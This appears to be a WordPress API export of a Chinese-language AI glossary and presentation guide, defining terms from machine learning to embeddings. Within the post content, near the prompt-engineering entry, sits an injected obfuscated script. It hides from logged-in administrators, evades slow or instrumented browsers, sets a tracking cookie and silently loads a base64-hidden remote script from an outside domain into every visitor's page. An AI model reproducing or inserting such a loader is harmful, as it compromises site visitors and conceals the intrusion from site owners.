<p><strong>\u5c08\u696d\u5b9a\u7fa9\uff1a<\/strong> \u63d0\u4f9b\u7d66\u751f\u6210\u5f0fAI\u6a21\u578b\u7684\u8f38\u5165\u6307\u4ee4\u6216\u8a62\u554f\uff0c\u7528\u4f86\u5f15\u5c0e\u6a21\u578b\u7522\u751f\u7279\u5b9a\u5167\u5bb9\u3002<\/p>\n <\/div>\n <\/details>\n <\/div>\n <\/div>\n <\/details>\n \n <details class=\"bg-gray-50 rounded-lg shadow-sm\">\n <summary class=\"font-bold text-lg text-gray-800\">\u7b2c\u516d\u7d44\uff1a\u8207AI\u7684\u6e9d\u901a\u85dd\u8853 (26-30)<\/summary>\n <div class=\"content-section space-y-4\">\n <div class=\"nested-details\">\n <details class=\"bg-white rounded-lg shadow-sm\">\n <summary class=\"font-medium\">26. \u63d0\u793a\u8a5e\u5de5\u7a0b (Prompt Engineering)<\/summary>\n <div class=\"content-section\">\n \n<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","protected":false},"excerpt":{"rendered":"<p>AI\u6838\u5fc3\u8853\u8a9e\u8207\u7c21\u5831\u88fd\u4f5c\u6307\u5357 AI\u6838\u5fc3\u8853\u8a9e\u8207\u9ad8\u6548\u7c21\u5831\u88fd\u4f5c\u6307\u5357 \u638c\u63e1\u95dc\u9375\u77e5\u8b58\u8207\u5de5\u5177\uff0c\u8b93\u60a8\u7684\u5de5\u4f5c\u6548\u7387\u7ffb\u500d\u3002 AI\u5e38\u898b … <\/p>\n<p class=\"link-more\"><a href=\"https:\/\/blog.he0073771655.synology.me\/?p=65\" class=\"more-link\">\u95b1\u8b80\u5168\u6587<span class=\"screen-reader-text\">\u3008AI\u6838\u5fc3\u8853\u8a9e\u8207\u7c21\u5831\u88fd\u4f5c\u6307\u5357\u3009<\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[],"class_list":["post-65","post","type-post","status-publish","format-standard","hentry","category-uncategorized"],"_links":{"self":[{"href":"https:\/\/blog.he0073771655.synology.me\/index.php?rest_route=\/wp\/v2\/posts\/65","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/blog.he0073771655.synology.me\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/blog.he0073771655.synology.me\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/blog.he0073771655.synology.me\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/blog.he0073771655.synology.me\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=65"}],"version-history":[{"count":3,"href":"https:\/\/blog.he0073771655.synology.me\/index.php?rest_route=\/wp\/v2\/posts\/65\/revisions"}],"predecessor-version":[{"id":368,"href":"https:\/\/blog.he0073771655.synology.me\/index.php?rest_route=\/wp\/v2\/posts\/65\/revisions\/368"}],"wp:attachment":[{"href":"https:\/\/blog.he0073771655.synology.me\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=65"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/blog.he0073771655.synology.me\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=65"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/blog.he0073771655.synology.me\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=65"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}

{"id":65,"date":"2025-08-17T19:23:08","date_gmt":"2025-08-17T11:23:08","guid":{"rendered":"https:\/\/192.168.50.4\/wordpress\/?p=65"},"modified":"2025-10-25T03:55:13","modified_gmt":"2025-10-24T19:55:13","slug":"65","status":"publish","type":"post","link":"https:\/\/blog.he0073771655.synology.me\/?p=65","title":{"rendered":"AI\u6838\u5fc3\u8853\u8a9e\u8207\u7c21\u5831\u88fd\u4f5c\u6307\u5357"},"content":{"rendered":"\n\n\n\n \n \n AI\u6838\u5fc3\u8853\u8a9e\u8207\u7c21\u5831\u88fd\u4f5c\u6307\u5357<\/title>\n \n <script src=\"https:\/\/cdn.tailwindcss.com\"><\/script>\n <style>\n \/* Import Inter font for a clean, professional look *\/\n @import url('https:\/\/fonts.googleapis.com\/css2?family=Inter:wght@400;600;700&display=swap');\n body {\n font-family: 'Inter', sans-serif;\n background-color: #f3f4f6;\n color: #1f2937;\n }\n \/* Custom styles for the collapsible sections *\/\n summary {\n cursor: pointer;\n list-style: none; \/* Removes the default arrow *\/\n padding: 1.5rem;\n border-radius: 0.75rem;\n transition: background-color 0.3s ease, box-shadow 0.3s ease;\n box-shadow: 0 4px 6px rgba(0, 0, 0, 0.05);\n }\n summary:hover {\n background-color: #e5e7eb;\n }\n summary::-webkit-details-marker {\n display: none; \/* Removes arrow on webkit browsers *\/\n }\n \/* Use a pseudo-element for a custom rotating icon *\/\n summary::after {\n content: '+';\n position: absolute;\n top: 50%;\n right: 1.5rem;\n transform: translateY(-50%);\n font-size: 1.5rem;\n line-height: 1;\n transition: transform 0.2s ease;\n }\n details[open] summary::after {\n content: '-';\n transform: translateY(-50%) rotate(180deg);\n }\n \/* Styles for the inner content of collapsible sections *\/\n details .content-section {\n padding: 1rem;\n background-color: #f9fafb;\n border-radius: 0.75rem;\n margin-top: 0.5rem;\n }\n \/* Styles for nested collapsible sections *\/\n .nested-details summary {\n padding: 1rem;\n border-radius: 0.5rem;\n }\n .nested-details .content-section {\n padding: 0.75rem;\n }\n <\/style>\n<\/head>\n<body class=\"bg-gray-100 text-gray-800\">\n\n \n <div class=\"max-w-4xl mx-auto my-8 p-6 md:p-12 bg-white rounded-xl shadow-2xl\">\n\n \n <header class=\"text-center mb-10\">\n <h1 class=\"text-3xl md:text-5xl font-bold text-gray-900 leading-tight\">AI\u6838\u5fc3\u8853\u8a9e\u8207\u9ad8\u6548\u7c21\u5831\u88fd\u4f5c\u6307\u5357<\/h1>\n <p class=\"mt-4 text-lg md:text-xl text-gray-500\">\u638c\u63e1\u95dc\u9375\u77e5\u8b58\u8207\u5de5\u5177\uff0c\u8b93\u60a8\u7684\u5de5\u4f5c\u6548\u7387\u7ffb\u500d\u3002<\/p>\n <\/header>\n\n \n <section class=\"mb-12\">\n <h2 class=\"text-2xl md:text-3xl font-bold text-gray-900 mb-6 border-b-2 pb-2\">AI\u5e38\u898b\u8853\u8a9e50\u9078<\/h2>\n <div class=\"space-y-4\">\n\n \n <details class=\"bg-gray-50 rounded-lg shadow-sm\">\n <summary class=\"font-bold text-lg text-gray-800\">\u7b2c\u4e00\u7d44\uff1aAI\u57fa\u790e\u8207\u5b78\u7fd2\u7bc4\u5f0f (1-5)<\/summary>\n <div class=\"content-section space-y-4\">\n <div class=\"nested-details\">\n <details class=\"bg-white rounded-lg shadow-sm\">\n <summary class=\"font-medium\">1. \u4eba\u5de5\u667a\u6167 (AI, Artificial Intelligence)<\/summary>\n <div class=\"content-section\">\n <p><strong>\u767d\u8a71\u6bd4\u55bb\uff1a<\/strong> \u8b93\u6a5f\u5668\u50cf\u4eba\u985e\u4e00\u6a23\u8070\u660e\uff0c\u662f\u4eba\u985e\u7684\u5049\u5927\u5922\u60f3\u3002<\/p>\n <p><strong>\u5c08\u696d\u5b9a\u7fa9\uff1a<\/strong> \u4e00\u500b\u5ee3\u6cdb\u7684\u79d1\u5b78\u9818\u57df\uff0c\u76ee\u6a19\u662f\u8ce6\u4e88\u6a5f\u5668\u6a21\u64ec\u8207\u57f7\u884c\u4eba\u985e\u667a\u6167\u884c\u70ba\u7684\u80fd\u529b\u3002<\/p>\n <\/div>\n <\/details>\n <\/div>\n <div class=\"nested-details\">\n <details class=\"bg-white rounded-lg shadow-sm\">\n <summary class=\"font-medium\">2. \u6a5f\u5668\u5b78\u7fd2 (ML, Machine Learning)<\/summary>\n <div class=\"content-section\">\n <p><strong>\u767d\u8a71\u6bd4\u55bb\uff1a<\/strong> \u5be6\u73feAI\u5922\u60f3\u6700\u4e3b\u6d41\u7684\u65b9\u6cd5\uff0c\u4e0d\u7d66\u6a5f\u5668\u898f\u5247\uff0c\u800c\u662f\u7d66\u4e88\u6d77\u91cf\u8cc7\u6599\u7bc4\u4f8b\uff0c\u8b93\u5b83\u5f9e\u505a\u4e2d\u5b78\uff0c\u81ea\u5df1\u627e\u51fa\u898f\u5f8b\u3002<\/p>\n <p><strong>\u5c08\u696d\u5b9a\u7fa9\uff1a<\/strong> AI\u7684\u6838\u5fc3\u5206\u652f\uff0c\u5c08\u6ce8\u65bc\u8b93\u96fb\u8166\u5f9e\u8cc7\u6599\u4e2d\u81ea\u52d5\u5b78\u7fd2\u6a21\u5f0f\u8207\u898f\u5f8b\uff0c\u7121\u9700\u7de8\u5beb\u898f\u5247\u3002<\/p>\n <\/div>\n <\/details>\n <\/div>\n <div class=\"nested-details\">\n <details class=\"bg-white rounded-lg shadow-sm\">\n <summary class=\"font-medium\">3. \u6df1\u5ea6\u5b78\u7fd2 (DL, Deep Learning)<\/summary>\n <div class=\"content-section\">\n <p><strong>\u767d\u8a71\u6bd4\u55bb\uff1a<\/strong> \u5982\u679c\u6a5f\u5668\u5b78\u7fd2\u662f\u5b78\u7fd2\u65b9\u6cd5\uff0c\u6df1\u5ea6\u5b78\u7fd2\u5247\u662f\u7d66\u4e86\u6a5f\u5668\u4e00\u500b\u8d85\u7d1a\u5927\u8166\uff0c\u6a21\u4eff\u4eba\u985e\u795e\u7d93\uff0c\u6709\u591a\u5c64\u7d50\u69cb\uff0c\u64c5\u9577\u8655\u7406\u8907\u96dc\u554f\u984c\u3002<\/p>\n <p><strong>\u5c08\u696d\u5b9a\u7fa9\uff1a<\/strong> \u6a5f\u5668\u5b78\u7fd2\u7684\u4e00\u7a2e\u6280\u8853\uff0c\u4f7f\u7528\u591a\u5c64\u4eba\u5de5\u795e\u7d93\u7db2\u8def\u4f86\u5b78\u7fd2\u8cc7\u6599\u4e2d\u8907\u96dc\u7684\u62bd\u8c61\u7279\u5fb5\u3002<\/p>\n <\/div>\n <\/details>\n <\/div>\n <div class=\"nested-details\">\n <details class=\"bg-white rounded-lg shadow-sm\">\n <summary class=\"font-medium\">4. \u76e3\u7763\u5f0f\u5b78\u7fd2 (Supervised Learning)<\/summary>\n <div class=\"content-section\">\n <p><strong>\u767d\u8a71\u6bd4\u55bb\uff1a<\/strong> \u50cf\u6709\u8001\u5e2b\u5728\u65c1\u6559\u5c0e\uff0c\u7d66\u6a5f\u5668\u7684\u8cc7\u6599\u90fd\u9644\u4e0a\u6a19\u6e96\u7b54\u6848\u3002<\/p>\n <p><strong>\u5c08\u696d\u5b9a\u7fa9\uff1a<\/strong> \u5229\u7528\u5df2\u6a19\u8a18\uff08\u6709\u6a19\u6e96\u7b54\u6848\uff09\u7684\u8cc7\u6599\u9032\u884c\u8a13\u7df4\uff0c\u8b93\u6a21\u578b\u5b78\u7fd2\u8f38\u5165\u8207\u8f38\u51fa\u4e4b\u9593\u7684\u5c0d\u61c9\u95dc\u4fc2\u3002<\/p>\n <\/div>\n <\/details>\n <\/div>\n <div class=\"nested-details\">\n <details class=\"bg-white rounded-lg shadow-sm\">\n <summary class=\"font-medium\">5. \u975e\u76e3\u7763\u5f0f\u5b78\u7fd2 (Unsupervised Learning)<\/summary>\n <div class=\"content-section\">\n <p><strong>\u767d\u8a71\u6bd4\u55bb\uff1a<\/strong> \u985e\u4f3c\u6c92\u6709\u8001\u5e2b\u7684\u5b78\u751f\u81ea\u5b78\uff0c\u8b93\u6a5f\u5668\u81ea\u5df1\u6839\u64da\u984f\u8272\u3001\u5f62\u72c0\u53bb\u5206\u985e\u3002<\/p>\n <p><strong>\u5c08\u696d\u5b9a\u7fa9\uff1a<\/strong> \u5728\u6c92\u6709\u6a19\u8a18\u7684\u8cc7\u6599\u4e2d\uff0c\u8b93\u6a21\u578b\u81ea\u52d5\u63a2\u7d22\u4e26\u767c\u73fe\u8cc7\u6599\u5167\u5728\u7684\u7d50\u69cb\u6216\u6a21\u5f0f\u3002<\/p>\n <\/div>\n <\/details>\n <\/div>\n <\/div>\n <\/details>\n\n \n <details class=\"bg-gray-50 rounded-lg shadow-sm\">\n <summary class=\"font-bold text-lg text-gray-800\">\u7b2c\u4e8c\u7d44\uff1a\u5b78\u7fd2\u4efb\u52d9\u8207\u795e\u7d93\u7db2\u8def\u57fa\u790e (6-10)<\/summary>\n <div class=\"content-section space-y-4\">\n <div class=\"nested-details\">\n <details class=\"bg-white rounded-lg shadow-sm\">\n <summary class=\"font-medium\">6. \u5f37\u5316\u5b78\u7fd2 (Reinforcement Learning)<\/summary>\n <div class=\"content-section\">\n <p><strong>\u767d\u8a71\u6bd4\u55bb\uff1a<\/strong> \u50cf\u8a13\u7df4\u5bf5\u7269\uff0c\u6a5f\u5668\u4e0d\u65b7\u5617\u8a66\uff0c\u505a\u5c0d\u4e86\u7d66\u734e\u52f5\uff0c\u505a\u932f\u4e86\u61f2\u7f70\uff0c\u76ee\u6a19\u662f\u5b78\u6703\u5982\u4f55\u62ff\u5230\u6700\u9ad8\u5206\u3002<\/p>\n <p><strong>\u5c08\u696d\u5b9a\u7fa9\uff1a<\/strong> \u6a21\u578b\u900f\u904e\u8207\u74b0\u5883\u4e92\u52d5\u548c\u8a66\u932f\u4f86\u5b78\u7fd2\uff0c\u4ee5\u6700\u5927\u5316\u7d2f\u7a4d\u734e\u52f5\u70ba\u76ee\u6a19\uff0c\u5e38\u7528\u65bc\u6c7a\u7b56\u8207\u63a7\u5236\u3002<\/p>\n <\/div>\n <\/details>\n <\/div>\n <div class=\"nested-details\">\n <details class=\"bg-white rounded-lg shadow-sm\">\n <summary class=\"font-medium\">7. \u5206\u985e (Classification)<\/summary>\n <div class=\"content-section\">\n <p><strong>\u767d\u8a71\u6bd4\u55bb\uff1a<\/strong> \u76e3\u7763\u5f0f\u5b78\u7fd2\u7684\u4e00\u7a2e\u4efb\u52d9\uff0c\u76ee\u6a19\u662f\u505a\u9078\u64c7\u984c\uff0c\u4f8b\u5982\u5224\u65b7\u90f5\u4ef6\u662f\u5426\u70ba\u5783\u573e\u90f5\u4ef6\u3002<\/p>\n <p><strong>\u5c08\u696d\u5b9a\u7fa9\uff1a<\/strong> \u5c07\u8f38\u5165\u8cc7\u6599\u9810\u6e2c\u5230\u4e00\u500b\u9810\u5148\u5b9a\u7fa9\u7684\u96e2\u6563\u985e\u5225\u4e2d\u3002<\/p>\n <\/div>\n <\/details>\n <\/div>\n <div class=\"nested-details\">\n <details class=\"bg-white rounded-lg shadow-sm\">\n <summary class=\"font-medium\">8. \u56de\u6b78 (Regression)<\/summary>\n <div class=\"content-section\">\n <p><strong>\u767d\u8a71\u6bd4\u55bb\uff1a<\/strong> \u4e5f\u662f\u76e3\u7763\u5f0f\u5b78\u7fd2\u4efb\u52d9\uff0c\u4f46\u505a\u7684\u662f\u586b\u5145\u984c\uff0c\u76ee\u6a19\u662f\u9810\u6e2c\u4e00\u500b\u9023\u7e8c\u7684\u6578\u5b57\uff0c\u4f8b\u5982\u6839\u64da\u576a\u6578\u9810\u6e2c\u623f\u50f9\u3002<\/p>\n <p><strong>\u5c08\u696d\u5b9a\u7fa9\uff1a<\/strong> \u76ee\u6a19\u662f\u9810\u6e2c\u4e00\u500b\u9023\u7e8c\u7684\u6578\u503c\uff0c\u5982\u623f\u50f9\u9810\u6e2c\u3001\u6c23\u6eab\u9810\u6e2c\u3002<\/p>\n <\/div>\n <\/details>\n <\/div>\n <div class=\"nested-details\">\n <details class=\"bg-white rounded-lg shadow-sm\">\n <summary class=\"font-medium\">9. \u4eba\u5de5\u795e\u7d93\u7db2\u8def (ANN, Artificial Neural Network)<\/summary>\n <div class=\"content-section\">\n <p><strong>\u767d\u8a71\u6bd4\u55bb\uff1a<\/strong> \u524d\u9762\u63d0\u5230\u7684\u300c\u8d85\u7d1a\u5927\u8166\u300d\u5b78\u540d\uff0c\u6a21\u4eff\u4eba\u8166\u7531\u7121\u6578\u500b\u4e92\u76f8\u9023\u63a5\u7684\u795e\u7d93\u5143\u7d44\u6210\u3002<\/p>\n <p><strong>\u5c08\u696d\u5b9a\u7fa9\uff1a<\/strong> \u6a21\u4eff\u751f\u7269\u795e\u7d93\u7db2\u8def\u7d50\u69cb\u7684\u8a08\u7b97\u6a21\u578b\uff0c\u7531\u5927\u91cf\u4e92\u806f\u7684\u795e\u7d93\u5143\u7d44\u6210\uff0c\u662f\u6df1\u5ea6\u5b78\u7fd2\u7684\u57fa\u790e\u3002<\/p>\n <\/div>\n <\/details>\n <\/div>\n <div class=\"nested-details\">\n <details class=\"bg-white rounded-lg shadow-sm\">\n <summary class=\"font-medium\">10. \u795e\u7d93\u5143 (Neuron)<\/summary>\n <div class=\"content-section\">\n <p><strong>\u767d\u8a71\u6bd4\u55bb\uff1a<\/strong> \u5927\u8166\u88e1\u6700\u57fa\u672c\u7684\u7d30\u80de\uff0c\u8ca0\u8cac\u63a5\u6536\u8a0a\u865f\u3001\u8655\u7406\u5f8c\u518d\u50b3\u51fa\u53bb\u3002<\/p>\n <p><strong>\u5c08\u696d\u5b9a\u7fa9\uff1a<\/strong> ANN\u4e2d\u7684\u57fa\u672c\u8a08\u7b97\u55ae\u5143\uff0c\u63a5\u6536\u8f38\u5165\u8a0a\u865f\uff0c\u7d93\u52a0\u6b0a\u8207\u6fc0\u767c\u51fd\u6578\u8655\u7406\u5f8c\u7522\u751f\u8f38\u51fa\u3002<\/p>\n <\/div>\n <\/details>\n <\/div>\n <\/div>\n <\/details>\n\n \n <details class=\"bg-gray-50 rounded-lg shadow-sm\">\n <summary class=\"font-bold text-lg text-gray-800\">\u7b2c\u4e09\u7d44\uff1a\u6a21\u578b\u8a13\u7df4\u6838\u5fc3\u6a5f\u5236 (11-15)<\/summary>\n <div class=\"content-section space-y-4\">\n <div class=\"nested-details\">\n <details class=\"bg-white rounded-lg shadow-sm\">\n <summary class=\"font-medium\">11. \u6b0a\u91cd (Weights)<\/summary>\n <div class=\"content-section\">\n <p><strong>\u767d\u8a71\u6bd4\u55bb\uff1a<\/strong> \u795e\u7d93\u5143\u4e4b\u9593\u7684\u9023\u63a5\u5f37\u5ea6\uff0c\u6a21\u578b\u5b78\u7fd2\u7684\u904e\u7a0b\u5c31\u662f\u4e0d\u65b7\u8abf\u6574\u9019\u4e9b\u9023\u63a5\u5f37\u5ea6\u503c\u3002<\/p>\n <p><strong>\u5c08\u696d\u5b9a\u7fa9\uff1a<\/strong> \u795e\u7d93\u5143\u4e4b\u9593\u9023\u63a5\u7684\u5f37\u5ea6\u53c3\u6578\uff0c\u5728\u8a13\u7df4\u904e\u7a0b\u4e2d\uff0c\u6a21\u578b\u900f\u904e\u4e0d\u65b7\u8abf\u6574\u6b0a\u91cd\u4f86\u5b78\u7fd2\u3002<\/p>\n <\/div>\n <\/details>\n <\/div>\n <div class=\"nested-details\">\n <details class=\"bg-white rounded-lg shadow-sm\">\n <summary class=\"font-medium\">12. \u6fc0\u767c\u51fd\u6578 (Activation Function)<\/summary>\n <div class=\"content-section\">\n <p><strong>\u767d\u8a71\u6bd4\u55bb\uff1a<\/strong> \u795e\u7d93\u5143\u88e1\u7684\u958b\u95dc\uff0c\u6709\u4e86\u5b83\u795e\u7d93\u7db2\u8def\u624d\u80fd\u8b8a\u5f97\u66f4\u9748\u6d3b\uff0c\u5b78\u6703\u66f4\u8907\u96dc\u7684\u6771\u897f\u3002<\/p>\n <p><strong>\u5c08\u696d\u5b9a\u7fa9\uff1a<\/strong> \u70ba\u795e\u7d93\u7db2\u8def\u5f15\u5165\u975e\u7dda\u6027\u7684\u6578\u5b78\u51fd\u6578\uff0c\u4f7f\u5176\u80fd\u5920\u5b78\u7fd2\u8907\u96dc\u7684\u6a21\u5f0f\u3002<\/p>\n <\/div>\n <\/details>\n <\/div>\n <div class=\"nested-details\">\n <details class=\"bg-white rounded-lg shadow-sm\">\n <summary class=\"font-medium\">13. \u640d\u5931\u51fd\u6578 (Loss Function)<\/summary>\n <div class=\"content-section\">\n <p><strong>\u767d\u8a71\u6bd4\u55bb\uff1a<\/strong> \u6a21\u578b\u9810\u6e2c\u5f8c\uff0c\u7528\u4f86\u8a08\u7b97\u9810\u6e2c\u503c\u548c\u6a19\u6e96\u7b54\u6848\u4e4b\u9593\u7684\u5dee\u8ddd\uff0c\u5dee\u8ddd\u8d8a\u5927\u640d\u5931\u8d8a\u5927\u3002<\/p>\n <p><strong>\u5c08\u696d\u5b9a\u7fa9\uff1a<\/strong> \u7528\u4f86\u8861\u91cf\u6a21\u578b\u9810\u6e2c\u503c\u8207\u771f\u5be6\u503c\u4e4b\u9593\u7684\u5dee\u8ddd\uff0c\u640d\u5931\u6216\u8aa4\u5dee\u662f\u6a21\u578b\u7684\u512a\u5316\u76ee\u6a19\u3002<\/p>\n <\/div>\n <\/details>\n <\/div>\n <div class=\"nested-details\">\n <details class=\"bg-white rounded-lg shadow-sm\">\n <summary class=\"font-medium\">14. \u68af\u5ea6\u4e0b\u964d\u6cd5 (Gradient Descent)<\/summary>\n <div class=\"content-section\">\n <p><strong>\u767d\u8a71\u6bd4\u55bb\uff1a<\/strong> \u77e5\u9053\u6709\u640d\u5931\u5f8c\u60f3\u8fa6\u6cd5\u6e1b\u5c11\u5b83\uff0c\u6b64\u65b9\u6cd5\u6307\u793a\u6c38\u9060\u671d\u8457\u6700\u9661\u7684\u4e0b\u5761\u65b9\u5411\u8d70\uff0c\u80fd\u6700\u5feb\u627e\u5230\u6700\u4f4e\u9ede\u3002<\/p>\n <p><strong>\u5c08\u696d\u5b9a\u7fa9\uff1a<\/strong> \u4e00\u7a2e\u512a\u5316\u6f14\u7b97\u6cd5\uff0c\u6cbf\u8457\u640d\u5931\u51fd\u6578\u68af\u5ea6\u7684\u53cd\u65b9\u5411\u9010\u6b65\u8abf\u6574\u53c3\u6578\uff0c\u4ee5\u5c0b\u627e\u640d\u5931\u7684\u6700\u5c0f\u503c\u3002<\/p>\n <\/div>\n <\/details>\n <\/div>\n <div class=\"nested-details\">\n <details class=\"bg-white rounded-lg shadow-sm\">\n <summary class=\"font-medium\">15. \u53cd\u5411\u50b3\u64ad (Backpropagation)<\/summary>\n <div class=\"content-section\">\n <p><strong>\u767d\u8a71\u6bd4\u55bb\uff1a<\/strong> \u8a08\u7b97\u4e0b\u5761\u65b9\u5411\u7684\u9ad8\u6548\u7387\u6f14\u7b97\u6cd5\uff0c\u5f9e\u6700\u5f8c\u7684\u640d\u5931\u7d50\u679c\u4e00\u8def\u53cd\u63a8\u56de\u53bb\uff0c\u544a\u8a34\u6bcf\u500b\u6b0a\u91cd\u8a72\u5982\u4f55\u8abf\u6574\u3002<\/p>\n <p><strong>\u5c08\u696d\u5b9a\u7fa9\uff1a<\/strong> \u4e00\u7a2e\u9ad8\u6548\u8a08\u7b97\u795e\u7d93\u7db2\u8def\u4e2d\u6240\u6709\u6b0a\u91cd\u68af\u5ea6\u7684\u6f14\u7b97\u6cd5\uff0c\u662f\u8a13\u7df4\u7684\u6838\u5fc3\u3002<\/p>\n <\/div>\n <\/details>\n <\/div>\n <\/div>\n <\/details>\n\n \n <details class=\"bg-gray-50 rounded-lg shadow-sm\">\n <summary class=\"font-bold text-lg text-gray-800\">\u7b2c\u56db\u7d44\uff1a\u6a21\u578b\u67b6\u69cb\u8207\u81ea\u7136\u8a9e\u8a00\u8655\u7406 (16-20)<\/summary>\n <div class=\"content-section space-y-4\">\n <div class=\"nested-details\">\n <details class=\"bg-white rounded-lg shadow-sm\">\n <summary class=\"font-medium\">16. \u904e\u64ec\u5408 (Overfitting)<\/summary>\n <div class=\"content-section\">\n <p><strong>\u767d\u8a71\u6bd4\u55bb\uff1a<\/strong> \u50cf\u5b78\u751f\u628a\u7df4\u7fd2\u80cc\u5f97\u6efe\u74dc\u721b\u719f\uff0c\u770b\u5230\u65b0\u984c\u76ee\u5c31\u50bb\u4e86\u3002<\/p>\n <p><strong>\u5c08\u696d\u5b9a\u7fa9\uff1a<\/strong> \u6307\u6a21\u578b\u5c0d\u8a13\u7df4\u8cc7\u6599\u904e\u5ea6\u5b78\u7fd2\uff0c\u5c0e\u81f4\u5728\u672a\u898b\u904e\u7684\u65b0\u8cc7\u6599\u4e0a\u8868\u73fe\u4e0d\u4f73\u7684\u73fe\u8c61\u3002<\/p>\n <\/div>\n <\/details>\n <\/div>\n <div class=\"nested-details\">\n <details class=\"bg-white rounded-lg shadow-sm\">\n <summary class=\"font-medium\">17. \u5377\u7a4d\u795e\u7d93\u7db2\u8def (CNN, Convolutional Neural Network)<\/summary>\n <div class=\"content-section\">\n <p><strong>\u767d\u8a71\u6bd4\u55bb\uff1a<\/strong> \u8655\u7406\u5716\u7247\u7684\u5c08\u5bb6\uff0c\u50cf\u5e36\u8457\u653e\u5927\u93e1\u5728\u5716\u7247\u4e0a\u6ed1\u52d5\u6383\u63cf\uff0c\u6709\u6548\u63d0\u53d6\u5716\u7247\u7684\u908a\u7de3\u3001\u7d0b\u7406\u7b49\u5c40\u90e8\u7279\u5fb5\u3002<\/p>\n <p><strong>\u5c08\u696d\u5b9a\u7fa9\uff1a<\/strong> \u4e00\u7a2e\u7279\u5225\u64c5\u9577\u8655\u7406\u7db2\u683c\u72c0\u8cc7\u6599\uff08\u5982\u5716\u50cf\uff09\u7684\u6df1\u5ea6\u5b78\u7fd2\u6a21\u578b\uff0c\u80fd\u6709\u6548\u63d0\u53d6\u7a7a\u9593\u7279\u5fb5\u3002<\/p>\n <\/div>\n <\/details>\n <\/div>\n <div class=\"nested-details\">\n <details class=\"bg-white rounded-lg shadow-sm\">\n <summary class=\"font-medium\">18. \u81ea\u7136\u8a9e\u8a00\u8655\u7406 (NLP, Natural Language Processing)<\/summary>\n <div class=\"content-section\">\n <p><strong>\u767d\u8a71\u6bd4\u55bb\uff1a<\/strong> \u6559\u96fb\u8166\u807d\u61c2\u4eba\u8a71\u3001\u8aaa\u4eba\u8a71\u7684\u6280\u8853\u3002<\/p>\n <p><strong>\u5c08\u696d\u5b9a\u7fa9\uff1a<\/strong> AI\u7684\u4e00\u500b\u9818\u57df\uff0c\u5c08\u6ce8\u65bc\u8b93\u96fb\u8166\u80fd\u5920\u7406\u89e3\u3001\u89e3\u91cb\u548c\u751f\u6210\u4eba\u985e\u8a9e\u8a00\u3002<\/p>\n <\/div>\n <\/details>\n <\/div>\n <div class=\"nested-details\">\n <details class=\"bg-white rounded-lg shadow-sm\">\n <summary class=\"font-medium\">19. \u8a5e\u5143 (Token)<\/summary>\n <div class=\"content-section\">\n <p><strong>\u767d\u8a71\u6bd4\u55bb\uff1a<\/strong> \u96fb\u8166\u770b\u6587\u7ae0\u4e0d\u662f\u4e00\u500b\u5b57\u4e00\u500b\u5b57\u770b\uff0c\u800c\u662f\u5148\u5c07\u53e5\u5b50\u5207\u6210\u6709\u610f\u7fa9\u7684\u6700\u5c0f\u55ae\u4f4d\u3002<\/p>\n <p><strong>\u5c08\u696d\u5b9a\u7fa9\uff1a<\/strong> \u5728NLP\u4e2d\u6587\u672c\u88ab\u5207\u5206\u6210\u8655\u7406\u7684\u6700\u5c11\u55ae\u4f4d\uff0c\u53ef\u4ee5\u662f\u4e00\u500b\u55ae\u8a5e\u3001\u8a5e\u7d44\u6216\u5b57\u5143\u3002<\/p>\n <\/div>\n <\/details>\n <\/div>\n <div class=\"nested-details\">\n <details class=\"bg-white rounded-lg shadow-sm\">\n <summary class=\"font-medium\">20. \u5d4c\u5165 (Embedding)<\/summary>\n <div class=\"content-section\">\n <p><strong>\u767d\u8a71\u6bd4\u55bb\uff1a<\/strong> \u7528\u6b64\u6280\u8853\u5c07\u6bcf\u500b\u8a5e\u5143\u8b8a\u6210\u4e00\u4e32\u6578\u5b78\u6578\u5b57\uff0c\u610f\u601d\u76f8\u8fd1\u7684\u8a5e\uff0c\u5b83\u5011\u7684\u6578\u5b57\u5728\u6578\u5b78\u7a7a\u9593\u4e2d\u4e5f\u6703\u9760\u5f88\u8fd1\u3002<\/p>\n <p><strong>\u5c08\u696d\u5b9a\u7fa9\uff1a<\/strong> 